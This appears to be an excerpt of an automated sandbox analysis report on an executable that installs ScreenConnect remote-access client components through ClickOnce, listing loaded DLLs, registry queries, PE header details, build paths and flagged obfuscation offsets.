Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Qjq85KfhBC.exe Static PE information: certificate valid
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: Qjq85KfhBC.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Qjq85KfhBC.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD045E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754070448.0000000003192000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: Qjq85KfhBC.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02AC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.1751348890.00000000028B2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801490320.0000000000A00000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000D.00000002.1801752921.0000000002371000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbg\ source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0459000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1769348036.000000001C272000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000B.00000000.1746175127.000000000011D000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD0459000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1769348036.000000001C272000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb] source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 0000000A.00000000.1741616097.0000000000F72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD045E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.1754070448.0000000003192000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD02A8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.1751788668.0000000004F72000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: Qjq85KfhBC.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Qjq85KfhBC.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Qjq85KfhBC.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Qjq85KfhBC.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Qjq85KfhBC.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Binary contains a suspicious time stamp
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr Static PE information: 0xBC0F508C [Tue Dec 24 14:17:48 2069 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00911000
PE file contains an invalid checksum
Source: Qjq85KfhBC.exe Static PE information: real checksum: 0x212e6 should be: 0x20464
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911BC0 push ecx; ret 0_2_00911BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFDBD2A5 pushad ; iretd 1_2_00007FF7BFDBD2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED00BD pushad ; iretd 1_2_00007FF7BFED00C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED7D00 push eax; retf 1_2_00007FF7BFED7D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFF08BD8 pushad ; iretd 1_2_00007FF7BFF08BD9
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED845E push eax; ret 1_2_00007FF7BFED846D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED842E pushad ; ret 1_2_00007FF7BFED845D
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFED00BD pushad ; iretd 10_2_00007FF7BFED00C1
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFED7569 push ebx; iretd 10_2_00007FF7BFED756A
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFEEC522 pushad ; ret 10_2_00007FF7BFEEC523
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_05720C11 push eax; ret 12_2_05720C1D
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_0574E401 pushad ; ret 12_2_0574E413
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC00BD pushad ; iretd 13_2_00007FF7BFEC00C1
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01DDC1D push ebx; ret 13_2_00007FF7C01DDE5A
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01D5302 pushad ; ret 13_2_00007FF7C01D5311
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01E23F3 push eax; retf 13_2_00007FF7C01E2759
